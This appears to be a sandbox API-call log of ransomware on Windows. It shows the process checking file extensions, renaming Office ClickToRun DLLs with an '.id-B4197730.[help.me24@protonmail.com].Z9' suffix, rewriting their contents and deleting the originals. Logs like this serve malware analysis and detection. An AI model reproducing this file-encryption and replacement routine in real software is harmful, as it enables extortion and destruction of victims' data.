	[0084.998] lstrlenW (lpString=".docx") returned 5
	[0084.998] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.998] lstrlenW (lpString=".pdf") returned 4
	[0084.998] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.998] lstrlenW (lpString=".xls") returned 4
	[0084.998] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.998] lstrlenW (lpString=".xlsx") returned 5
	[0084.999] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.999] lstrlenW (lpString=".ppt") returned 4
	[0084.999] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0084.999] lstrlenW (lpString=".zip") returned 4
	[0084.999] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.999] lstrlenW (lpString=".rar") returned 4
	[0084.999] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.999] lstrlenW (lpString=".bz2") returned 4
	[0084.999] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.999] lstrlenW (lpString=".7z") returned 3
	[0084.999] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0084.999] lstrlenW (lpString=".dbf") returned 4
	[0084.999] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0084.999] lstrlenW (lpString=".1cd") returned 4
	[0084.999] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0084.999] lstrlenW (lpString=".jpg") returned 4
	[0084.999] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.000] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0085.000] lstrlenW (lpString="AppVFileSystemMetadata.dll") returned 26
	[0085.000] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0085.000] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=307416) returned 1
	[0085.000] CloseHandle (hObject=0x398) returned 1
	[0085.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll")) returned 0x20
	[0085.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.000] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0085.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0085.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0085.001] lstrlenW (lpString=".doc") returned 4
	[0085.001] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.001] lstrlenW (lpString=".docx") returned 5
	[0085.001] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1
	[0085.001] lstrlenW (lpString=".pdf") returned 4
	[0085.001] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.001] lstrlenW (lpString=".xls") returned 4
	[0085.001] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.001] lstrlenW (lpString=".xlsx") returned 5
	[0085.001] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1
	[0085.001] lstrlenW (lpString=".ppt") returned 4
	[0085.001] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0085.001] lstrlenW (lpString=".zip") returned 4
	[0085.001] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.001] lstrlenW (lpString=".rar") returned 4
	[0085.001] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.002] lstrlenW (lpString=".bz2") returned 4
	[0085.002] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.002] lstrlenW (lpString=".7z") returned 3
	[0085.002] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0085.002] lstrlenW (lpString=".dbf") returned 4
	[0085.002] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0085.002] lstrlenW (lpString=".1cd") returned 4
	[0085.002] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0085.002] lstrlenW (lpString=".jpg") returned 4
	[0085.002] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0085.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0085.002] lstrlenW (lpString=".doc") returned 4
	[0085.002] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.002] lstrlenW (lpString=".docx") returned 5
	[0085.002] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1
	[0085.002] lstrlenW (lpString=".pdf") returned 4
	[0085.002] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.002] lstrlenW (lpString=".xls") returned 4
	[0085.002] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.003] lstrlenW (lpString=".xlsx") returned 5
	[0085.003] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1
	[0085.003] lstrlenW (lpString=".ppt") returned 4
	[0085.003] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0085.003] lstrlenW (lpString=".zip") returned 4
	[0085.003] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.003] lstrlenW (lpString=".rar") returned 4
	[0085.003] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.003] lstrlenW (lpString=".bz2") returned 4
	[0085.003] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.003] lstrlenW (lpString=".7z") returned 3
	[0085.003] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0085.003] lstrlenW (lpString=".dbf") returned 4
	[0085.003] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0085.003] lstrlenW (lpString=".1cd") returned 4
	[0085.003] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0085.003] lstrlenW (lpString=".jpg") returned 4
	[0085.003] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.004] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0085.004] lstrlenW (lpString="AppVIntegration.dll") returned 19
	[0085.004] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0085.004] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=2118360) returned 1
	[0085.004] CloseHandle (hObject=0x398) returned 1
	[0085.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 0x20
	[0085.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.005] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 1
	[0085.006] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0085.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0085.006] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[help.me24@protonmail.com].z9"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 1
	[0085.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0085.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0085.007] lstrlenW (lpString=".doc") returned 4
	[0085.007] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.007] lstrlenW (lpString=".docx") returned 5
	[0085.007] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0085.007] lstrlenW (lpString=".pdf") returned 4
	[0085.007] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.007] lstrlenW (lpString=".xls") returned 4
	[0085.007] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.007] lstrlenW (lpString=".xlsx") returned 5
	[0085.007] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0085.007] lstrlenW (lpString=".ppt") returned 4
	[0085.007] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0085.007] lstrlenW (lpString=".zip") returned 4
	[0085.008] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.008] lstrlenW (lpString=".rar") returned 4
	[0085.008] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.008] lstrlenW (lpString=".bz2") returned 4
	[0085.008] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.008] lstrlenW (lpString=".7z") returned 3
	[0085.008] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0085.008] lstrlenW (lpString=".dbf") returned 4
	[0085.008] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0085.008] lstrlenW (lpString=".1cd") returned 4
	[0085.008] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0085.008] lstrlenW (lpString=".jpg") returned 4
	[0085.008] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0085.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0085.008] lstrlenW (lpString=".doc") returned 4
	[0085.008] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.008] lstrlenW (lpString=".docx") returned 5
	[0085.008] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0085.009] lstrlenW (lpString=".pdf") returned 4
	[0085.009] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.009] lstrlenW (lpString=".xls") returned 4
	[0085.009] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.009] lstrlenW (lpString=".xlsx") returned 5
	[0085.009] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0085.009] lstrlenW (lpString=".ppt") returned 4
	[0085.009] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0085.009] lstrlenW (lpString=".zip") returned 4
	[0085.009] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.009] lstrlenW (lpString=".rar") returned 4
	[0085.009] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.009] lstrlenW (lpString=".bz2") returned 4
	[0085.009] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.009] lstrlenW (lpString=".7z") returned 3
	[0085.009] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0085.009] lstrlenW (lpString=".dbf") returned 4
	[0085.009] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0085.009] lstrlenW (lpString=".1cd") returned 4
	[0085.009] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0085.009] lstrlenW (lpString=".jpg") returned 4
	[0085.010] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.010] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0085.010] lstrlenW (lpString="AppVIsvApi.dll") returned 14
	[0085.010] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0085.010] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=468696) returned 1
	[0085.010] CloseHandle (hObject=0x398) returned 1
	[0085.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll")) returned 0x20
	[0085.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.011] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0085.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0085.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0085.011] lstrlenW (lpString=".doc") returned 4
	[0085.011] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.011] lstrlenW (lpString=".docx") returned 5
	[0085.011] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0085.011] lstrlenW (lpString=".pdf") returned 4
	[0085.011] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.011] lstrlenW (lpString=".xls") returned 4
	[0085.011] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.011] lstrlenW (lpString=".xlsx") returned 5
	[0085.011] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0085.011] lstrlenW (lpString=".ppt") returned 4
	[0085.011] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0085.011] lstrlenW (lpString=".zip") returned 4
	[0085.011] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.012] lstrlenW (lpString=".rar") returned 4
	[0085.012] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.012] lstrlenW (lpString=".bz2") returned 4
	[0085.012] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.012] lstrlenW (lpString=".7z") returned 3
	[0085.012] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0085.012] lstrlenW (lpString=".dbf") returned 4
	[0085.012] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0085.012] lstrlenW (lpString=".1cd") returned 4
	[0085.012] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0085.012] lstrlenW (lpString=".jpg") returned 4
	[0085.012] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0085.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0085.012] lstrlenW (lpString=".doc") returned 4
	[0085.012] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.012] lstrlenW (lpString=".docx") returned 5
	[0085.012] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0085.012] lstrlenW (lpString=".pdf") returned 4
	[0085.012] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.012] lstrlenW (lpString=".xls") returned 4
	[0085.012] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.012] lstrlenW (lpString=".xlsx") returned 5
	[0085.012] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0085.013] lstrlenW (lpString=".ppt") returned 4
	[0085.013] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0085.013] lstrlenW (lpString=".zip") returned 4
	[0085.013] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.013] lstrlenW (lpString=".rar") returned 4
	[0085.013] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.013] lstrlenW (lpString=".bz2") returned 4
	[0085.013] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.013] lstrlenW (lpString=".7z") returned 3
	[0085.013] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0085.013] lstrlenW (lpString=".dbf") returned 4
	[0085.013] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0085.013] lstrlenW (lpString=".1cd") returned 4
	[0085.013] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0085.013] lstrlenW (lpString=".jpg") returned 4
	[0085.013] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.013] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0085.013] lstrlenW (lpString="AppvIsvStream32.dll") returned 19
	[0085.013] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0085.014] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=396960) returned 1
	[0085.014] CloseHandle (hObject=0x398) returned 1
	[0085.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll")) returned 0x20
	[0085.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.014] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0085.014] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.014] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.015] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0085.015] GetLastError () returned 0x0
	[0085.015] ReadFile (in: hFile=0x398, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x60ea0, lpOverlapped=0x0) returned 1
	[0085.023] WriteFile (in: hFile=0x338, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x60eb0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x60eb0, lpOverlapped=0x0) returned 1
	[0085.030] ReadFile (in: hFile=0x398, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.030] WriteFile (in: hFile=0x338, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xfa, lpOverlapped=0x0) returned 1
	[0085.030] SetEndOfFile (hFile=0x338) returned 1
	[0085.030] CloseHandle (hObject=0x338) returned 1
	[0085.667] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.667] SetEndOfFile (hFile=0x398) returned 1
	[0085.711] CloseHandle (hObject=0x398) returned 1
	[0085.711] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0085.711] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll")) returned 1
	[0085.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0085.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0085.712] lstrlenW (lpString=".doc") returned 4
	[0085.712] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.712] lstrlenW (lpString=".docx") returned 5
	[0085.712] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1
	[0085.712] lstrlenW (lpString=".pdf") returned 4
	[0085.712] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.712] lstrlenW (lpString=".xls") returned 4
	[0085.712] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.712] lstrlenW (lpString=".xlsx") returned 5
	[0085.712] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1
	[0085.712] lstrlenW (lpString=".ppt") returned 4
	[0085.712] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
